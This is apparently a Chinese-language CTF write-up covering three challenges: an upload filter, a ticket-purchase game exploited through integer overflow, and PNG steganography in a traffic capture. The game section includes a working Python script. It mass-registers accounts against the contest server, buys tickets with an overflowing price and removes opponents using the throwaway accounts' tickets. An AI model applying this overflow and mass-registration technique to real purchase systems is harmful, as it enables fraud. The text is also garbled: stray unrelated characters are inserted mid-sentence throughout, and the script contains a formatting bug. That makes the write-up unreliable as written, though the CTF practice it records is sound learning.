3 upload-IMG
上傳照片之后發(fā)現(xiàn)提示需要包含phpinfo
寫入phpinfo再次上傳發(fā)現(xiàn)還是提示需要包含
發(fā)現(xiàn)它上傳后網(wǎng)頁會顯示上傳的照片
嘗試下載后打開蛀序,和上傳的圖片比對后發(fā)現(xiàn)phpinfo被過濾了
猜測是二次過濾
4 大吉大利今晚吃雞
題目提示要購買入門券并淘汰對手
購買提示余額不足
抓包更改金額小于2000的提示券的金額必須是2000
大于2000的即可更改成功
猜測是整數(shù)溢出
抓包更改金額渔欢,購買成功
進入游戲頁面之后陋葡,可以看到用戶的id和ticket值
點擊移除對手需要輸入id和ticket值
隨便嘗試注冊一個用戶獲得兩個值輸入發(fā)現(xiàn)剩余對手-1
總共要移除100個對手
構造腳本
#coded by 某大佬
import requests
users = {}
def regist(name,pwd='aaaaaaaa'):
url = 'http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s'%(name,pwd)
r = requests.get(url=url)
cookies = r.cookies.get_dict()
# cookies = requests.utils.dict_from_cookiejar(r.cookies)
users[cookies['user_name']] = cookies['REVEL_SESSION']
return cookies['user_name'],cookies['REVEL_SESSION']
def buyticket(name,session):
url = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4611686018427387904'
header={'Cookie':'user_name=%s; REVEL_SESSION=%s'%(name,session),'Referer': 'http://117.51.147.155:5050/index.html'}
r = requests.get(url=url,headers=header)
bill_id = eval(r.text)['data'][0]['bill_id']#,requests.utils.dict_from_cookiejar(r.cookies)
payticket(bill_id,name,session)
def payticket(bill_id,name,session):
url = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s'%(bill_id)
header={'Cookie':'user_name=%s; REVEL_SESSION=%s'%(name,session),'Referer': 'http://117.51.147.155:5050/index.html'}
r = requests.get(url=url,headers=header)
myid = eval(r.text)["data"][0]["your_id"]
ticket = eval(r.text)["data"][0]["your_ticket"]
getflag(myid,ticket)
def getflag(id,ticket):
url = 'http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s'%(id,ticket)
header={'Cookie':'user_name=%s; REVEL_SESSION=%s'.format(adminUser,adminSession),'Referer': 'http://117.51.147.155:5050/index.html'}
r = requests.get(url=url,headers=header)
print eval(r.text)
adminUser , adminSession = regist('getMyFlag11')
print adminUser,adminSession #important
buyticket(adminUser,adminSession)
for x in range(200,301):
regist('newUser%s'%(x))
for n in users:
if n != adminUser:
buyticket(n,users[n])
腳本是一個大佬寫的 如果不可以轉載的話請大佬和我說
感謝大佬~
腳本需要運行多次,因為好像有一些用戶注冊了之后將會賦予重復id弥奸,重復id再被移除一次不算數(shù)
查看flag —— 登錄腳本注冊的adminUser賬號
進入http://117.51.147.155:5050/index.html#/main/index
5 流量分析
wireshark打開流量包,導出http分組
下載6420分組的圖片
過濾表達式http.request.method == POST
找到分組1782 還有另一張圖片
右擊-追蹤流-http流
要恢復里面post的png圖像 - 點擊顯示和保存轉為原始數(shù)據(jù) - Save as
刪除多余的數(shù)據(jù)
png圖像開頭為89 50 4E 47 —— ‰PNG(每個png文件相同)
結束為 49 45 4E 44 ——IEND(每個png文件相同)
還有四個字節(jié) AE 42 60 82 (每個文件不同)
另存為再次打開
這里有個坑點:圖片高寬出現(xiàn)問題,如果是linux/mac系統(tǒng)距淫,無法直接打開圖片;windows系統(tǒng)可以直接打開
打開是個鑰匙的圖案 猜測是圖片隱寫
49 48 44 52 IHDR標識(每個png文件都有)
00 00 06 3E 表示圖片的寬 1598像素
00 00 02 18 表示圖片長 536像素
更改圖片長為00 00 06 3E 獲得密碼key:gKvN4eEm
導出的http分組中有一個網(wǎng)站http://tools.jb51.net/aideddesign/img_add_info
是圖片在線解密婶希,輸入圖片和密碼榕暇,得到flag!
希望下次比賽可以拿獎啊彤枢!